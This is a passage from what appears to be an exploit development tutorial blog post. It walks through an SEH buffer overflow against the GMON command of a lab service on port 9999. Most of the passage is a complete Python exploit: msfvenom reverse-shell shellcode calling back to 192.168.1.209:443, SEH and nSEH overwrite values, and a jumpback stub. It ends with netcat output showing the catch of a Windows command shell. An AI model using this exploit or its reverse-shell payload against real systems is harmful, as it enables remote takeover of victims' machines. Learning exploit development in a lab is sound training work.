print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

After we run this exploit and step through it, we end up at the top of our A buffer.

Now all that’s left to do is add our final shellcode to the top of our A buffer and we should be good to go. Our final exploit code looks like this:

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

#msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.209 lport=443 -f c EXINTFUNC=thread -b '\x00'
shellcode = ("\xbf\x2a\xb3\x1f\x5b\xd9\xc2\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x31\x7d\x12\x03\x7d\x12\x83\xef\xb7\xfd\xae\x13\x5f\x83"
"\x51\xeb\xa0\xe4\xd8\x0e\x91\x24\xbe\x5b\x82\x94\xb4\x09\x2f"
"\x5e\x98\xb9\xa4\x12\x35\xce\x0d\x98\x63\xe1\x8e\xb1\x50\x60"
"\x0d\xc8\x84\x42\x2c\x03\xd9\x83\x69\x7e\x10\xd1\x22\xf4\x87"
"\xc5\x47\x40\x14\x6e\x1b\x44\x1c\x93\xec\x67\x0d\x02\x66\x3e"
"\x8d\xa5\xab\x4a\x84\xbd\xa8\x77\x5e\x36\x1a\x03\x61\x9e\x52"
"\xec\xce\xdf\x5a\x1f\x0e\x18\x5c\xc0\x65\x50\x9e\x7d\x7e\xa7"
"\xdc\x59\x0b\x33\x46\x29\xab\x9f\x76\xfe\x2a\x54\x74\x4b\x38"
"\x32\x99\x4a\xed\x49\xa5\xc7\x10\x9d\x2f\x93\x36\x39\x6b\x47"
"\x56\x18\xd1\x26\x67\x7a\xba\x97\xcd\xf1\x57\xc3\x7f\x58\x30"
"\x20\xb2\x62\xc0\x2e\xc5\x11\xf2\xf1\x7d\xbd\xbe\x7a\x58\x3a"
"\xc0\x50\x1c\xd4\x3f\x5b\x5d\xfd\xfb\x0f\x0d\x95\x2a\x30\xc6"
"\x65\xd2\xe5\x49\x35\x7c\x56\x2a\xe5\x3c\x06\xc2\xef\xb2\x79"
"\xf2\x10\x19\x12\x99\xeb\xca\xdd\xf6\xf2\xdb\xb6\x04\xf4\xda"
"\xfd\x80\x12\xb6\x11\xc5\x8d\x2f\x8b\x4c\x45\xd1\x54\x5b\x20"
"\xd1\xdf\x68\xd5\x9c\x17\x04\xc5\x49\xd8\x53\xb7\xdc\xe7\x49"
"\xdf\x83\x7a\x16\x1f\xcd\x66\x81\x48\x9a\x59\xd8\x1c\x36\xc3"
"\x72\x02\xcb\x95\xbd\x86\x10\x66\x43\x07\xd4\xd2\x67\x17\x20"
"\xda\x23\x43\xfc\x8d\xfd\x3d\xba\x67\x4c\x97\x14\xdb\x06\x7f"
"\xe0\x17\x99\xf9\xed\x7d\x6f\xe5\x5c\x28\x36\x1a\x50\xbc\xbe"
"\x63\x8c\x5c\x40\xbe\x14\x6c\x0b\xe2\x3d\xe5\xd2\x77\x7c\x68"
"\xe5\xa2\x43\x95\x66\x46\x3c\x62\x76\x23\x39\x2e\x30\xd8\x33"
"\x3f\xd5\xde\xe0\x40\xfc")

Seh = '\x2b\x17\x50\x62'
nSeh = '\xeb\x06\x90\x90'
jumpback = '\x54\x58\x66\x05\x66\x05\xff\xe0'

buffer = shellcode 
buffer += 'A' * (3514 - len(shellcode))
buffer += nSeh
buffer += Seh
buffer += jumpback
buffer += 'C' * (5012 - len(buffer))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

And we catch our reverse shell!

root@kali:~/ # nc -lvp 443                                                                                                               
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.209] from (UNKNOWN) [192.168.1.201] 49226
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Desktop>

In the next post we will try to use an egghunter to accomplish the same end goal with the GMON parameter!

Big Thanks

To everyone who has published free intro-level 32 bit exploit dev material, I’m super appreciative. Truly mean it.

Resources